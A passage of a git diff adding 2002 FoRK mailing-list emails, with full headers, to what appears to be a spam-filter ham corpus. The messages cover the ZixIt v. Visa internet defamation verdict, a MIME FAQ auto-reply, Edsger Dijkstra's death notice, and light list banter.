(Postfix) with ESMTP id 47ED829409F for + ; Mon, 5 Aug 2002 10:46:10 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + smtp10.atl.mindspring.net with esmtp (Exim 3.33 #1) id 17blw6-0004wq-00; + Mon, 05 Aug 2002 13:46:30 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +To: Digital Bearer Settlement List , + dcsb@ai.mit.edu, e$@vmeng.com, cryptography@wasabisystems.com, + fork@xent.com, irregulars@tb.tf +From: "R. A. Hettinga" +Subject: Internet Defamation Suit Ends With Defense Verdict +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 5 Aug 2002 13:22:55 -0400 + + +--- begin forwarded text + + +To: rah@philodox.com +Subject: Internet Defamation Suit Ends With Defense Verdict +Date: Mon, 5 Aug 2002 10:08:41 -0400 (EDT) +From: Somebody + +Internet Defamation Suit Ends With Defense Verdict + +http://www.law.com/servlet/ContentServer?pagename=OpenMarket/Xcelerate/View&c=LawArticle&cid=1028320303259&t=LawArticleTech + +John Council +Texas Lawyer 08-05-2002 + + + +In one of the first trials in the country to +address Internet defamation, a Dallas County, +Texas, jury last week rejected a $700 million +suit by an Internet company that claimed it +was harmed by negative electronic messages +posted by an employee of a competing company. + +ZixIt, a Dallas Internet company, filed ZixIt +Corp. v. Visa International, et al. in 1999, +alleging it was harmed by Paul Guthrie, then +a vice president with Visa. ZixIt alleged in +its suit that Guthrie posted more than 400 +anonymous messages, many of them negative, +about ZixIt on the Yahoo Finance ZixIt Internet +message board, causing ZixIt's stock price to +drop. + +The suit also alleged that the postings +destroyed the company's ability to market +its ZixCharge Internet transaction +authorization system, which allows consumers +to make purchases without revealing their +credit card numbers to merchants. Visa has +a similar Internet payment system. + +ZixIt alleged that the postings caused its +stock price to plummet. Had the product +been successful, the company believed it +would have been worth more than $1 billion, +according to lawyers involved in the case. + +On July 31, a jury in Judge Merrill Hartman's +192nd District Court found that ZixIt's +product was not harmed by the postings. + +Neal Manne and Kenneth McNeil, lawyers from +Houston's Susman Godfrey who represented +ZixIt at trial, did not return calls for +comment by press time. + +"The company hasn't made any decision about +an appeal," says Cindy Lawrence, a ZixIt +spokeswoman. "The outcome of the lawsuit +doesn't have any effect on our future +products and services in e-messaging." + +GETTING GRADED + +Visa's lawyers alleged that Guthrie acted on +his own and had a right to free speech, and +that Guthrie's Internet postings had no +effect on ZixIt's stock. Guthrie has since +left Visa, lawyers for the company say. +Guthrie was not a defendant in the case. +However, his interests in the case were +represented by Todd Noonan, an attorney in +Sacramento, Calif.'s Stevens & O'Connell. +Noonan was recovering from surgery last +week and was unavailable for comment. + +"I think people believe whether you +succeed or fail [is] because of what you +do and not what other people do to you. +Internet companies didn't succeed for all +sorts of reasons," says Jeff Tillotson, a +partner in Dallas' Lynn, Tillotson & Pinker, +who defended Visa at trial. + +ZixIt's case was a hard sell to the jury, +especially with the reality of the economy, +Tillotson says. + +"Everyone knows that the stock market +has fallen and the trouble with Internet +companies. I think the jury took that into +account," Tillotson says. + +There were lessons to be learned from the +Internet defamation trial, says Mike Lynn, +who also represented Visa at trial. Even +though message boards are considered a +protected form of free speech, that freedom +won't prevent a company from being dragged +into court if its employee blasts another +company on the Internet, Lynn says. + +"A company can be responsible for what an +employee posts on a message board," Lynn +says. "The courts have said you're entitled +to go to a jury to determine whether there +are damages as a result of that. The law is +very odd, not mature, [and] damage theories +are not mature." + +The nature of the case also added an +interesting twist to the trial, Tillotson +says. Many of those who posted messages on +the board attended the trial and posted +comments about the daily proceedings +throughout the three-week trial, he says. + +"It was apparent to everyone that many of +the people who posted on these message boards +were watching the trial," Tillotson says. +"It really was wild. The lawyers felt like +they were being graded." + +-- + +--- end forwarded text + + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00968.af5d1f264563dd879a2a880a1725efdf b/bayes/spamham/easy_ham_2/00968.af5d1f264563dd879a2a880a1725efdf new file mode 100644 index 0000000..b1ee5d2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00968.af5d1f264563dd879a2a880a1725efdf @@ -0,0 +1,51 @@ +From fork-admin@xent.com Tue Aug 6 12:01:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 388A24412F + for ; Tue, 6 Aug 2002 06:49:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:39 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g75Ifvk22113 for ; + Mon, 5 Aug 2002 19:41:58 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id E8E412940D3; Mon, 5 Aug 2002 11:39:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain (pm3-8.sba1.netlojix.net + [207.71.218.152]) by xent.com (Postfix) with ESMTP id BDCB72940CB for + ; Mon, 5 Aug 2002 11:38:51 -0700 (PDT) +Received: (from dave@localhost) by maltesecat (8.8.7/8.8.7a) id LAA15896; + Mon, 5 Aug 2002 11:46:47 -0700 +Message-Id: <200208051846.LAA15896@maltesecat> +To: fork@spamassassin.taint.org +Subject: too much news +From: Dave Long +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 05 Aug 2002 11:46:46 -0700 + + +So I see a headline which reads: +"Microsoft Outlining Settlement Plans" +and my initial reaction is to wonder +if West Jerusalem should worry that +Redmond will beat them to embracing +the West Bank. + +-Dave + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00969.06ff0d8ef44307c5808b526dc72c3f68 b/bayes/spamham/easy_ham_2/00969.06ff0d8ef44307c5808b526dc72c3f68 new file mode 100644 index 0000000..5a84c06 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00969.06ff0d8ef44307c5808b526dc72c3f68 @@ -0,0 +1,80 @@ +From fork-admin@xent.com Tue Aug 6 19:25:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EBE6A440C8 + for ; Tue, 6 Aug 2002 14:25:56 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 19:25:56 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g76IQKk14238 for ; + Tue, 6 Aug 2002 19:26:23 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 4FEB3294099; Tue, 6 Aug 2002 11:23:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain (pm3-0.sba1.netlojix.net + [207.71.218.144]) by xent.com (Postfix) with ESMTP id 3C085294098 for + ; Tue, 6 Aug 2002 11:22:17 -0700 (PDT) +Received: (from dave@localhost) by maltesecat (8.8.7/8.8.7a) id LAA29855; + Tue, 6 Aug 2002 11:30:11 -0700 +Message-Id: <200208061830.LAA29855@maltesecat> +To: fork@spamassassin.taint.org +Subject: S&P QC +From: Dave Long +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 06 Aug 2002 11:30:10 -0700 + + +Begeman's _Manufacturing Processes_ +talks about Quality Control Charts: + +> The tolerance limits for a part are placed outside of the control +> limits and are never inside of them. Once the control chart has +> been established, data is recorded on it and it becomes a record +> of the variation of an inspected dimension over a period of time. +> The data plotted should fall in random fashion between the control +> lines, if all assignable causes for variation are absent. When the +> data fall in this manner, it can be assumed that the part is being +> made correctly 99.73% of the time; that is, no more than 3 out of +> 1000 will leave the process incorrectly made. + +Taking a look at the S&P 500, and +using the Ibbotson 2000 figures of +13% expected stock return and 20% +standard deviation, and taking the +the actual 2.5 year return on the +S&P since 31 Dec 1999 to be close +to -30%, we find: + +-.30 ? 2.5*(.13) - 3*sqrt(2.5)*(.20) +-30% > -60% + +so it still plots out between the +control lines ... + +> So long as the points fall between the control lines, no adjustments +> or changes in the process are necessary. If five to seven points fall +> on one side of the mean, the process should be checked. When points +> fall outside of the control lines, the cause must be located and +> corrected immediately. + +... but maybe we should've checked +the process during the "long" bull. + +-Dave + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00970.98d919e3b073097d7af97e18910e230b b/bayes/spamham/easy_ham_2/00970.98d919e3b073097d7af97e18910e230b new file mode 100644 index 0000000..a7f2eb9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00970.98d919e3b073097d7af97e18910e230b @@ -0,0 +1,107 @@ +From fork-admin@xent.com Wed Aug 7 05:11:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 99ED0440C9 + for ; Wed, 7 Aug 2002 00:11:04 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 05:11:04 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7748Dk09271 for ; + Wed, 7 Aug 2002 05:08:15 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 0AB202940AE; Tue, 6 Aug 2002 21:05:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from docserver.cac.washington.edu (docserver.cac.washington.edu + [140.142.32.13]) by xent.com (Postfix) with ESMTP id D428D294099 for + ; Tue, 6 Aug 2002 21:04:11 -0700 (PDT) +Received: (from daemon@localhost) by docserver.cac.washington.edu + (8.12.1+UW01.12/8.12.1+UW02.06) id g773nxYZ005355 for fork ; + Tue, 6 Aug 2002 20:49:59 -0700 +Message-Id: <200208070349.g773nxYZ005355@docserver.cac.washington.edu> +To: fork +From: UW Email Robot +Subject: The MIME information you requested (last changed 3154 Feb 14) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 6 Aug 2002 20:49:59 -0700 + +-------------------------------------------------------------------------- + +What is MIME? + +MIME stands for "Multipurpose Internet Mail Extensions". It is the +standard for how to send multipart, multimedia, and binary data using the +world-wide Internet email system. Typical uses of MIME include sending +images, audio, wordprocessing documents, programs, or even plain text +files when it is important that the mail system does not modify any part +of the file. MIME also allows for labelling message parts so that a +recipient (or mail program) may determine what to do with them. + +How can I read a MIME message? + +Since MIME is only a few years old, there are still some mailers in use +which do not understand MIME messages. However, there are a growing +number of mail programs that have MIME support built-in. (One popular +MIME-capable mailer for Unix, VMS and PCs is Pine, developed at the +University of Washington and available via anonymous FTP from the host +ftp.cac.washington.edu in the file /pine/pine.tar.Z) + +In addition, several proprietary email systems provide MIME translation +capability in their Internet gateway products. However, even if you do +not have access to a MIME-capable mailer or suitable gateway, there is +still hope! + +There are a number of stand-alone programs that can interpret a MIME +message. One of the more versatile is called "munpack". It was developed +at Carnegie Mellon University and is available via anonymous FTP from the +host ftp.andrew.cmu.edu in the directory pub/mpack/. There are versions +available for Unix, PC, Mac and Amiga systems. For compabibility with +older forms of transferring binary files, the munpack program can also +decode messages in split-uuencoded format. + +Does MIME replace UUENCODE? + +Yes. UUENCODE has been used for some time for encoding binary files so +that they can be sent via Internet mail, but it has several technical +limitations and interoperability problems. MIME uses a more robust +encoding called "Base64" which has been carefully designed to survive the +message transformations made by certain email gateways. + +How can I learn more about MIME? + +The MIME Internet standard is described in RFC-1521, available via +anonymous FTP from many different Internet hosts, including: + + o US East Coast + Address: ds.internic.net (198.49.45.10) + + o US West Coast + Address: ftp.isi.edu (128.9.0.32) + + o Pacific Rim + Address: munnari.oz.au (128.250.1.21) + + o Europe + Address: nic.nordu.net (192.36.148.17) + +Look for the file /rfc/rfc1521.txt + +Another source of information is the Internet news group "comp.mail.mime", +which includes a periodic posting of a "Frequently Asked Questions" list. + +-------------------------------------------------------------------------- +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00971.ebd002bb55532af30e46f9a43419c3ce b/bayes/spamham/easy_ham_2/00971.ebd002bb55532af30e46f9a43419c3ce new file mode 100644 index 0000000..cf43d41 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00971.ebd002bb55532af30e46f9a43419c3ce @@ -0,0 +1,78 @@ +From fork-admin@xent.com Thu Aug 8 14:12:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9EE9244139 + for ; Thu, 8 Aug 2002 08:32:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:51 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g77IWGk15162 for ; + Wed, 7 Aug 2002 19:32:19 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6D0932940A9; Wed, 7 Aug 2002 11:29:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from fluff.x42.com (fluff.x42.com [213.187.218.11]) by xent.com + (Postfix) with SMTP id AC30E2940A8 for ; Wed, + 7 Aug 2002 11:28:38 -0700 (PDT) +Received: (qmail 26602 invoked by uid 569); 7 Aug 2002 18:28:42 -0000 +From: Magnus Bodin +To: fork@spamassassin.taint.org +Subject: the end of an era (fwd) +Message-Id: <20020807182842.GB27309@bodin.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.28i +Reply-BY: Sat Aug 10 20:26:04 2002 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 7 Aug 2002 20:28:42 +0200 + + +Seems like Edsger W. Dijkstra has passed away. + +------- Forwarded Message + +From: "Edsger W. Dijkstra" +Subject: from the family +Cc: faculty@cs.utexas.edu +version=2.20 +Content-Type: text/plain; charset="us-ascii" ; format="flowed" + + +Grateful for most that has befallen him, has peacefully passed away, + Edsger Wybe Dijkstra, +our husband and father. + +We hold him very dear. + +The cremation will take place on + +Saterday, August 10th, 12:30 PM at +Somerenseweg 120 +Heeze +the Netherlands + +Maria C. Dijkstra Debets +Marcus J. Dijkstra +Femke E. Dijkstra +Rutger M. Dijktra + +Please forward this message to whomever you feel missing in the recipient list. + +------- End of Forwarded Message +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00972.9d730aeba4cc56041575ddcd8d324447 b/bayes/spamham/easy_ham_2/00972.9d730aeba4cc56041575ddcd8d324447 new file mode 100644 index 0000000..dbe0123 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00972.9d730aeba4cc56041575ddcd8d324447 @@ -0,0 +1,63 @@ +From fork-admin@xent.com Thu Aug 8 14:12:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AF0BC4413A + for ; Thu, 8 Aug 2002 08:32:52 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:52 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g77LhMk22706 for ; + Wed, 7 Aug 2002 22:43:25 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id EC5A02940A6; Wed, 7 Aug 2002 14:40:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id E50DC294098 for ; + Wed, 7 Aug 2002 14:39:38 -0700 (PDT) +Received: from maya.dyndns.org (ts5-040.ptrb.interhop.net + [165.154.190.104]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g77LEsP22026; Wed, 7 Aug 2002 17:14:54 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 8EEC41C3BD; + Wed, 7 Aug 2002 17:33:21 -0400 (EDT) +To: harley@argote.ch (Robert Harley) +Cc: fork@spamassassin.taint.org +Subject: Re: Hurtage etc. +References: <20020807154625.64BE7C44E@argote.ch> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 07 Aug 2002 17:33:21 -0400 + +>>>>> "R" == Robert Harley writes: + + R> 'Scuse me for posting in Greek. :) + +Better you than me, but I'm sure we all share in your joy. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00973.79e5aff1324e8b583776f70ba1f3bbc4 b/bayes/spamham/easy_ham_2/00973.79e5aff1324e8b583776f70ba1f3bbc4 new file mode 100644 index 0000000..87035e1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00973.79e5aff1324e8b583776f70ba1f3bbc4 @@ -0,0 +1,55 @@ +From fork-admin@xent.com Thu Aug 8 14:12:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9866C4413B + for ; Thu, 8 Aug 2002 08:32:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:53 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g77MLIk24125 for ; + Wed, 7 Aug 2002 23:21:20 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 8E78529409B; Wed, 7 Aug 2002 15:18:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mithral.com (watcher.mithral.com [204.153.244.1]) by + xent.com (Postfix) with SMTP id C0232294099 for ; + Wed, 7 Aug 2002 15:17:18 -0700 (PDT) +Received: (qmail 7398 invoked by uid 1111); 7 Aug 2002 22:17:55 -0000 +From: "Adam L. Beberg" +To: Robert Harley +Cc: +Subject: Re: Hurtage etc. +In-Reply-To: <20020807154625.64BE7C44E@argote.ch> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 7 Aug 2002 15:17:55 -0700 (PDT) + +On Wed, 7 Aug 2002, Robert Harley wrote: + +> Hmm... now I have an asymptotically faster precomputation algorithm + +Woo, faster is better... But what have you done about all those patents that +prevent anyone from going near ECC in the first place, hmmmmmm? + +- Adam L. "Duncan" Beberg + http://www.mithral.com/~beberg/ + beberg@mithral.com + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00974.304821ceb985edbca95b1b83f61068cc b/bayes/spamham/easy_ham_2/00974.304821ceb985edbca95b1b83f61068cc new file mode 100644 index 0000000..050c12c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00974.304821ceb985edbca95b1b83f61068cc @@ -0,0 +1,56 @@ +From fork-admin@xent.com Thu Aug 8 14:13:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 92EDF4413C + for ; Thu, 8 Aug 2002 08:32:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:54 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g77MxJk25589 for ; + Wed, 7 Aug 2002 23:59:21 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 2DC582940B1; Wed, 7 Aug 2002 15:56:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net + [207.172.4.60]) by xent.com (Postfix) with ESMTP id 7E37629409B for + ; Wed, 7 Aug 2002 15:55:43 -0700 (PDT) +X-Info: This message was accepted for relay by smtp01.mrf.mail.rcn.net as + the sender used SMTP authentication +X-Trace: UmFuZG9tSVYxzJnFYxMXNjqJ4lUEVQOm6YtA82BFhZbjjRi5tKZMbH8JePAdnW4tCKzy1BN++As= +Received: from [165.112.63.34] (helo=TOSHIBA-L8QYR7M) by + smtp01.mrf.mail.rcn.net with asmtp (Exim 3.35 #6) id 17cZj5-0005L9-00 for + fork@xent.com; Wed, 07 Aug 2002 18:56:23 -0400 +From: "John Evdemon" +To: fork@spamassassin.taint.org +MIME-Version: 1.0 +Subject: Quitting Music +Message-Id: <3D516D56.17345.1A207CB@localhost> +Priority: normal +X-Mailer: Pegasus Mail for Windows (v4.01) +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7BIT +Content-Description: Mail message body +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 7 Aug 2002 18:56:22 -0400 + +Keep your fingers crossed... + +Exhausted Britney 'wants to quit music' + +http://www.thisislondon.com/dynamic/news/story.html?in_review_id=661754&in_review_text_id=632865 +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00975.ec32c3f209c90d99a3f97fe895cd91b4 b/bayes/spamham/easy_ham_2/00975.ec32c3f209c90d99a3f97fe895cd91b4 new file mode 100644 index 0000000..c5d9fbb --- /dev/null +++ b/bayes/spamham/easy_ham_2/00975.ec32c3f209c90d99a3f97fe895cd91b4 @@ -0,0 +1,69 @@ +From fork-admin@xent.com Thu Aug 8 14:13:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 95C874413D + for ; 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+ Thu, 08 Aug 2002 07:36:13 2000 +From: grlygrl201@aol.com +To: beberg@mithral.com, harley@argote.ch +Cc: fork@spamassassin.taint.org +Subject: Re: Hurtage etc. +Message-Id: <30694522.4584D89B.0F48F476@aol.com> +X-Mailer: Atlas Mailer 2.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 08 Aug 2002 07:35:09 -0400 + +In a message dated Wed, 7 Aug 2002 5:17:55 PM Eastern Standard Time, beberg@mithral.com writes: + +> +> +> On Wed, 7 Aug 2002, Robert Harley wrote: +> +> > Hmm... now I have an asymptotically faster precomputation algorithm +> +> Woo, faster is better... But what have you done about all those patents that +> prevent anyone from going near ECC in the first place, +> hmmmmmm? +> +> - Adam L. "Duncan" Beberg + +Something tells me Adam's security blanket was very wet and that Adam had a propensity for throwing it on his stuffed animals. + +Geege + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00976.c475b7528cdb3355527518b6104e6a03 b/bayes/spamham/easy_ham_2/00976.c475b7528cdb3355527518b6104e6a03 new file mode 100644 index 0000000..bb2e447 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00976.c475b7528cdb3355527518b6104e6a03 @@ -0,0 +1,66 @@ +From fork-admin@xent.com Thu Aug 8 14:13:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 75CC04413F + for ; Thu, 8 Aug 2002 08:33:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:33:09 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78CK9202584 for + ; Thu, 8 Aug 2002 13:20:09 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id IAA28532 for ; Thu, 8 Aug 2002 08:55:34 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A540229409E; Thu, 8 Aug 2002 00:40:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from alumnus.caltech.edu (alumnus.caltech.edu [131.215.49.51]) + by xent.com (Postfix) with ESMTP id 7C320294098 for ; + Thu, 8 Aug 2002 00:39:09 -0700 (PDT) +Received: from localhost (localhost [127.0.0.1]) by alumnus.caltech.edu + (8.12.3/8.12.3) with ESMTP id g787doei008359; Thu, 8 Aug 2002 00:39:50 + -0700 (PDT) +Subject: Perhaps Apple isn't as user-friendly as we thought... +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: "Dr. Prabhakar" +To: fork@spamassassin.taint.org +From: Rohit Khare +Content-Transfer-Encoding: 7bit +Message-Id: +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 7 Aug 2002 23:04:32 -0700 + +Sounds like the land of UNIX for the PC (Politically Correct) still has +some ways to go in becoming UNIX for the Rest of Us... + +Quoted from Mac OS X man page for sudoers(5): +> +> insults If set, sudo will insult users when they enter +> an incorrect password. This flag is off by +> default. +> + +Hey, at least Apple set the default to no-insults! :-) + +Rohit + +--- +My permanent email address is khare@alumni.caltech.edu + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00977.10e2871bd3e016164aca38b7030d3763 b/bayes/spamham/easy_ham_2/00977.10e2871bd3e016164aca38b7030d3763 new file mode 100644 index 0000000..5b1de12 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00977.10e2871bd3e016164aca38b7030d3763 @@ -0,0 +1,64 @@ +From fork-admin@xent.com Thu Aug 8 14:13:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BED1B44142 + for ; Thu, 8 Aug 2002 08:33:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:33:28 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with 